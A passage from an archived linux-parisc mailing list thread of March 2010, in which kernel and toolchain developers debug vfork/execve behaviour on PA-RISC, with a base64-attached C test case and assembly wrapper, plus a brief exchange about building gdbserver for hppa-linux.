        b=HCZ2kHCBlx1PcKYrg4CtpogP+VrqmfSorBgQi5/pH934lTRZdl79MCImpOegHdBZvx
         670KUfng07tWcKUD1GZYJWz+YHsEB77Zcz2BGpVmkJ89+VmeD1eRgYY/0uUadpLejdJA
         gxvtFrlSmixZMkhQO9Y3xIcEMUMl5L/Qmlu1U=
Original-Received: by 10.204.115.10 with HTTP; Sat, 27 Mar 2010 20:26:19 -0700 (PDT)
X-Google-Sender-Auth: a678bbbbabf6420e
Original-Received: by 10.204.131.216 with SMTP id y24mr839959bks.143.1269746779157; 
	Sat, 27 Mar 2010 20:26:19 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2709>

--0015174780f2b9f65f0482d3f51f
Content-Type: text/plain; charset=ISO-8859-1

Helge,

On PARISC I'm seeing the following reproducible behvaiour:

* Parent calls vfork()
* Child of vfork() calls execve()
* Child returns from execve() and starts corrupting parent state
eventually leading to a segmentation fault.
* New process (as a result of execve) runs to completion.

What code in the Linux kernel prevents the child, which calls
execve(), from returning?

Test case attached.

Cheers,
Carlos.

--0015174780f2b9f65f0482d3f51f
Content-Type: application/x-sh; name="build.sh"
Content-Disposition: attachment; filename="build.sh"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g7bae9zk0

Z2NjIC1nMyAtTzAgLW8gdmZvcmsgdmZvcmsuYyBwdC12Zm9yay5TCg==
--0015174780f2b9f65f0482d3f51f
Content-Type: application/octet-stream; name="pt-vfork.S"
Content-Disposition: attachment; filename="pt-vfork.S"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g7baef6n1

LnRleHQgISAKLmFsaWduIDQgISAKLmV4cG9ydCBfX3Zmb3JrICEgCi50eXBlIF9fdmZvcmssQGZ1
bmN0aW9uICEgCl9fdmZvcms6ICEgCi5QUk9DICEgCi5DQUxMSU5GTyBGUkFNRT02NCxDQUxMUyxT
QVZFX1JQLEVOVFJZX0dSPTMgISAKLkVOVFJZICEgISAKIC8qIFNhdmUgcmV0dXJuIHBvaW50ZXIu
ICovCiBzdHcgJXJwLCAtMjAoJXNyMCwlc3ApICEKCiAvKiBHZXQgNjQgYnl0ZXMgb24gdGhlIHN0
YWNrLCBzYXZlIHNwLCBhbmQgUElDIHJlZ2lzdGVyLiAqLwogc3R3bSAlcjMsIDY0KCVzcCkKIHN0
dyAlc3AsIC00KCVzcCkKIHN0dyAlcjE5LCAtMzIoJXNwKQoKIC8qIFNhdmUvcmVzdG9yZSBQSUMg
cmVnaXN0ZXIgYXJvdW5kIHN5c2NhbGwuICovCiBjb3B5ICVyMTksICVyMjUKCiAvKiBMb2FkIHRo
cmVhZCByZWdpc3Rlci4gKi8KIG1mY3RsICVjcjI3LCAlcjI2ICEgCiAvKiBMb2FkIGNhY2hlZCBw
YXJlbnQgUElELiAqLwogbGR3IC0xMDQ0KCVyMjYpLCVyMSAhIAogLyogTmVnYXRlIGl0LCBzdWNo
IHRoYXQgdGhlIGNoaWxkIHJ1bnMgd2l0aAogICAgYSBuZWdhdGl2ZSBQSUQgYW5kIG5vIGZ1bmN0
aW9ucyB3b3JrIHVudGlsCiAgICB0aGUgZXhlY3ZlLiAqLwogc3ViICVyMCwlcjEsJXIxICEgCiAv
KiBTdG9yZSBpdCBiYWNrLiAqLwogc3R3ICVyMSwtMTA0NCglcjI2KSAhCgogLyogQ2FsbCB2Zm9y
ay4gKi8KIGJsZSAweDEwMCglc3IyLCVyMCkKIGxkaSAoMCArIDExMyksJXIyMCAKCiAvKiBJZiB0
aGlzIGlzIHRoZSBjaGlsZCBqdW1wIHRvIHRocmVhZF9zdGFydCAqLwogY21wYiw9LG4gJXIwLCVy
ZXQwLC5MdGhyZWFkX3N0YXJ0ICEgCgogLyogVGhpcyBpcyB0aGUgcGFyZW50LiAqLwogLyogTG9h
ZCB0aHJlYWQgcmVnaXN0ZXIuICovCiBtZmN0bCAlY3IyNywgJXIyNiAhIAogLyogTG9hZCBjYWNo
ZWQgcGFyZW50IFBJRCAqLwogbGR3IC0xMDQ0KCVyMjYpLCVyMSAhIAogLyogTmVnYXRlIGl0IChy
ZXN0b3JpbmcgaXQpICovCiBzdWIgJXIwLCVyMSwlcjEgISAKIC8qIFNhdmUgaXQgYmFjay4gKi8K
IHN0dyAlcjEsLTEwNDQoJXIyNikgISAKCiBsZGkgLTQwOTYsJXIxCiAvKiBVbnNpZ25lZCBjb21w
cmUgPSBXYXMgcmV0MCBiZXR3ZWVuIC0xIGFuZCAtNDA5Ni4gKi8KIGNvbWNsciw+Pj0gJXIxLCVy
ZXQwLCVyMAogYixuIC5MZXJyb3IKCi5MdGhyZWFkX3N0YXJ0OiAhCgogLyogTG9hZCByZXR1cm4g
cG9pbnRlciBhbmQgcmVzdG9yZSBzdGFjay4gKi8KIGxkdyAtODQoJXNwKSwgJXJwCiBidiAlcjAo
JXJwKQogbGR3bSAtNjQoJXNwKSwgJXIzCgouTGVycm9yOgogLyogTmVnYXRlIGVycm9yIGNvZGUu
ICovCiBzdWIgJXIwLCVyZXQwLCVyMwogLmltcG9ydCBfX2Vycm5vX2xvY2F0aW9uLGNvZGUgISAh
IAogLyogR2V0IGFkZHJlc3Mgb2YgZXJybm8uICovCiBibCBfX2Vycm5vX2xvY2F0aW9uLCVycCAh
CgogY29weSAlcjI1LCAlcjE5CiAvKiBTYXZlIGVycm5vLiAqLwogc3R3ICVyMywgMCglcmV0MCkK
IC8qIHZmb3JrIHJldHVybnMgLTEgb24gZXJyb3IuICovCiBsZGkgLTEsICVyZXQwCiAvKiBSZXR1
cm4uICovCiBsZHcgLTg0KCVzcCksICVycAogYnYgJXIwKCVycCkKIGxkd20gLTY0KCVzcCksICVy
MwouRVhJVCAhIC5QUk9DRU5EICEgLnNpemUgX192Zm9yaywgLi1fX3Zmb3JrICEKCi53ZWFrIHZm
b3JrICEgdmZvcmsgPSBfX3Zmb3JrCg==
--0015174780f2b9f65f0482d3f51f
Content-Type: text/x-csrc; charset=US-ASCII; name="vfork.c"
Content-Disposition: attachment; filename="vfork.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g7baehk82

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGVycm5vLmg+
CiNpbmNsdWRlIDx1bmlzdGQuaD4KCiNkZWZpbmUgQ0FMTF9FWElUIDAKCmludCBtYWluICh2b2lk
KQp7CiAgcGlkX3QgY2hpbGQ7CiAgY2hhciAqY21kW10gPSB7ICJiYXNoIiwgIi1jIiwgImVjaG8g
SW4gY2hpbGQgJCQ7IiwgKGNoYXIgKikwIH07CiAgY2hhciAqZW52W10gPSB7ICJIT01FPS90bXAi
LCAoY2hhciAqKTAgfTsKICBpbnQgcmV0OwoKICBjaGlsZCA9IHZmb3JrKCk7CgogIGlmIChjaGls
ZCA9PSAwKQogICAgewogICAgICByZXQgPSBleGVjdmUoIi9iaW4vYmFzaCIsIGNtZCwgZW52KTsK
ICAgICAgcHJpbnRmICgicmV0ID0gJWRcbiIsIHJldCk7CiNpZiBDQUxMX0VYSVQgPT0gMQogICAg
ICBfZXhpdCgxKTsKI2VuZGlmCiAgICB9CiAgZWxzZQogICAgewogICAgICBwcmludGYoImNoaWxk
ICE9IDBcbiIpOwogICAgfQoKICBwcmludGYoInBhcmVudCBpcyAlZFxuIiwgKHVuc2lnbmVkIGlu
dClnZXRwaWQoKSk7CiAgcHJpbnRmKCJjaGlsZCBpcyAlZFxuIiwgKHVuc2lnbmVkIGludCljaGls
ZCk7CgogIHJldHVybiAwOwp9Cg==
--0015174780f2b9f65f0482d3f51f--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Error case in execve_wrapper?
Date: Sat, 27 Mar 2010 23:49:39 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <119aab441003272049i3e554cb8i8dbfd13219865173@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1269748196 4406 80.91.229.12 (28 Mar 2010 03:49:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 03:49:56 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 05:49:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvjVT-0006nz-4w
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 05:49:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752809Ab0C1Dtl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Mar 2010 23:49:41 -0400
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:58232 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752277Ab0C1Dtl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Mar 2010 23:49:41 -0400
Original-Received: by bwz1 with SMTP id 1so2751876bwz.21
        for <linux-parisc@vger.kernel.org>; Sat, 27 Mar 2010 20:49:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=rWegw7o7ELqmODmN6mUP+TIhHxajX1oB5U4SVQ945C8=;
        b=RY6gjlK2fDvwtcndgWlZeHJwXZLRA7HT1SVti4eFaHpw6znUZA8mLSb7FRWoU6fi9j
         vTsSY5Zi5rrRQ8IiVDkHWj6KQ4rpSJp6CwCWKCKaLR59mOfvkTMQG/ire1La1g4O3hgA
         nw7QY3da/WzOJr9zS/HGZJ66/toI5w0aUVAmo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=gCyOTsfkl2on3TtapJeItJKzM7BMUPbspB16Jn7/cc2CLe0j5DA/vwn5F3pF5NgF7H
         5mg40gBz+/Eo/1UHvNKWoC7t1wE9wrcNFQHXgMUNKxuQvsutkdevEZMH1OlHdg7DWwEg
         2Zc4XYuoTdwzA6AhsJc6QxZMbiR/yMzQ5vvX0=
Original-Received: by 10.204.115.10 with HTTP; Sat, 27 Mar 2010 20:49:39 -0700 (PDT)
X-Google-Sender-Auth: c984223d35d17ce3
Original-Received: by 10.204.5.132 with SMTP id 4mr2783243bkv.69.1269748179405; Sat, 27 
	Mar 2010 20:49:39 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2710>

Helge,

In arch/parisc/kernel/entry.S (execve_wrapper) we have this code:

        BL \execve,%r2
        copy %r1,%arg0

        ldo -FRAME_SIZE(%r30),%r30
        LDREG -RP_OFFSET(%r30),%r2

        /* If exec succeeded we need to load the args */

        ldo -1024(%r0),%r1
        cmpb,>>= %r28,%r1,error_\execve
        copy %r2,%r19

error_\execve:
        bv %r0(%r19)
        nop
        .endm

Why does this wrapper check the result of execve?

The cmpb has no nullification, therefore it always copies the return
pointer into r19, and we branch back to the syscall return path. IMO
checking the result of the syscall is not useful, since everything
should already be setup such that the normal restore process returns
to the newly exec'd process.

Comments?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 11:42:42 -0400
Organization: nrc.ca
Lines: 110
Approved: news@gmane.org
Message-ID: <20100328154241.GA2782@hiauly1.hia.nrc.ca>
References: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269790976 14051 80.91.229.12 (28 Mar 2010 15:42:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 15:42:56 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 17:42:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvudT-00028q-4M
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 17:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754094Ab0C1Pmq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 11:42:46 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2275 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753878Ab0C1Pmp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 11:42:45 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5E1484E77; Sun, 28 Mar 2010 11:42:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2711>

On Sat, 27 Mar 2010, Carlos O'Donell wrote:

> Helge,
> 
> On PARISC I'm seeing the following reproducible behvaiour:
> 
> * Parent calls vfork()
> * Child of vfork() calls execve()
> * Child returns from execve() and starts corrupting parent state
> eventually leading to a segmentation fault.
> * New process (as a result of execve) runs to completion.
> 
> What code in the Linux kernel prevents the child, which calls
> execve(), from returning?

All the execute a file commands can return if an error occurs.  Thus,
I question the fact that the execve wrapper doesn't save registers.

The vfork child runs using the parent's stack.  Thus, even the call
to execve potentially corrupts the parent's stack, and depending on
scheduling, this might cause a segmentation fault in either parent or
child.

Here's a couple of excerpts from the vfork man page for HP-UX:

Series 800

Process times for the parent and child processes within the [vfork,exec]
window may be inaccurate.

    * Parent and child processes share the same stack space within the
    [vfork,exec] window. If the size of the stack has been changed within
    this window by the child process (return from or call to a function,
    for example), it is likely that the parent and child processes will
    be killed with signal SIGSEGV or SIGBUS.

The [vfork,exec] window begins at the vfork() call and ends when the child
completes its exec() call.

The Open Group man page says:

The use of vfork() for any purpose except as a prelude to an immediate call
to a function from the exec  family, or to _exit(), is not advised.  On HP-UX,
it's not supported.

I see that this is not a new issue for linux:
http://lkml.indiana.edu/hypermail/linux/kernel/9902.0/0256.html

It is ok to treat vfork() identically to fork(), and the HP-UX
manpage indicates that this may be the case for certain HP-UX
implementations (maybe Series 700).

> Test case attached.

I was not able to save your pt-fork.S file.   mutt didn't understand
the encoding.

I tried the vfork.c test case on my c3750 with 32-bit kernel.  It
didn't segv in a limited number of runs.  However, I did notice that
getpid() is broken after vfork().

The printf call in the child path probably isn't legit.  It's also not
legit to simply return if execve fails.  _exit must be called.

My guess would be that the parent is not blocked leading to corruption.

> #include <stdio.h>
> #include <stdlib.h>
> #include <errno.h>
> #include <unistd.h>
> 
> #define CALL_EXIT 0
> 
> int main (void)
> {
>   pid_t child;
>   char *cmd[] = { "bash", "-c", "echo In child $$;", (char *)0 };
>   char *env[] = { "HOME=/tmp", (char *)0 };
>   int ret;
> 
>   child = vfork();
> 
>   if (child == 0)
>     {
>       ret = execve("/bin/bash", cmd, env);
>       printf ("ret = %d\n", ret);
> #if CALL_EXIT == 1
>       _exit(1);
> #endif
>     }
>   else
>     {
>       printf("child != 0\n");
>     }
> 
>   printf("parent is %d\n", (unsigned int)getpid());
>   printf("child is %d\n", (unsigned int)child);
> 
>   return 0;
> }

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: gdbserver not built for gdb?
Date: Sun, 28 Mar 2010 11:59:09 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab441003280859p28e0284fud4a943d2df6e81c2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1269791958 16945 80.91.229.12 (28 Mar 2010 15:59:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 15:59:18 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 17:59:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvutN-0001XI-37
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 17:59:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754565Ab0C1P7M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 11:59:12 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:41749 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754033Ab0C1P7L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 11:59:11 -0400
Original-Received: by wyb39 with SMTP id 39so628484wyb.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 08:59:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:received:message-id:subject:from:to
         :content-type;
        bh=LAUhMDYrznGElI3xXdiBHvpIeXUYMUKXpfkwz7j10Ag=;
        b=MxG5rItZoWAL7ZpLRStvEiStYPhaVJl7u2mF9CEzLJcyWHUMl0CfEnljIXM1jmRexb
         Uc0GHdWkGoin9sBZLOxK57ZuosFA0MEXLxSOiHmb+38gu+llhlt4Rgjp+w/f712vqFhi
         eKyVQZpD7z0CAUMq5yjFWH7D4QcTKsJH7UCHA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=Ou6V0QjxGH4FihOlEQXcLF49ZCe3LSTXZPY3uc5m+HeUbuX5ccHkbe4KkB7Q8R6oVk
         XUCtxxA5XoHsBZ8o2CeOu176EJsIOdxIS+7li9Mknp25IvxSIGwDbielDCK7sGrI6kx4
         WZ9XAhOm3pdOXlpa5yOKZ9cxggKKcvNK9SX0U=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 08:59:09 -0700 (PDT)
X-Google-Sender-Auth: 3dbb88a901c34e05
Original-Received: by 10.216.85.132 with SMTP id u4mr2200928wee.191.1269791949711; Sun, 
	28 Mar 2010 08:59:09 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2712>

Dave, Helge,

Is there any reason why gdbserver is not built for gdb on hppa-linux-gnu?

I see clearly that gdb/gdb/configure.tgt does not set build_gdbserver
for hppa*-*-linux*.

I've enabled gdbserver for gdb 7.x, and I'll test it.

If it works I'll submit this upstream.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 12:03:15 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20100328160315.AD2B24E77@hiauly1.hia.nrc.ca>
References: <20100328154241.GA2782@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269792222 17965 80.91.229.12 (28 Mar 2010 16:03:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 16:03:42 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 18:03:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvuxK-0003t1-0A
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 18:03:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754738Ab0C1QDR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 12:03:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2280 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754726Ab0C1QDR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 12:03:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AD2B24E77; Sun, 28 Mar 2010 12:03:15 -0400 (EDT)
In-Reply-To: <20100328154241.GA2782@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 28, 2010 11:42:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2713>

> My guess would be that the parent is not blocked leading to corruption.

I did a quick test and the child always seems to run first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gdbserver not built for gdb?
Date: Sun, 28 Mar 2010 12:05:59 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20100328160600.A14A34EF1@hiauly1.hia.nrc.ca>
References: <119aab441003280859p28e0284fud4a943d2df6e81c2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269792382 18496 80.91.229.12 (28 Mar 2010 16:06:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 16:06:22 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	deller@gmx.de
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 18:06:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nvv00-0003t1-8F
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 18:06:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754726Ab0C1QGD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 12:06:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2285 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754191Ab0C1QGD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 12:06:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A14A34EF1; Sun, 28 Mar 2010 12:06:00 -0400 (EDT)
In-Reply-To: <119aab441003280859p28e0284fud4a943d2df6e81c2@mail.gmail.com> from "Carlos O'Donell" at Mar 28, 2010 11:59:09 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2714>

> Is there any reason why gdbserver is not built for gdb on hppa-linux-gnu?

Not that I am aware of.  Randolph would know better.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 13:26:45 -0400
Lines: 412
Approved: news@gmane.org
Message-ID: <119aab441003281026u3705723fj9446637943451a4e@mail.gmail.com>
References: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com>
	 <20100328154241.GA2782@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016e6d7dfa75a289d0482dfb388
X-Trace: dough.gmane.org 1269797216 1194 80.91.229.12 (28 Mar 2010 17:26:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 17:26:56 +0000 (UTC)
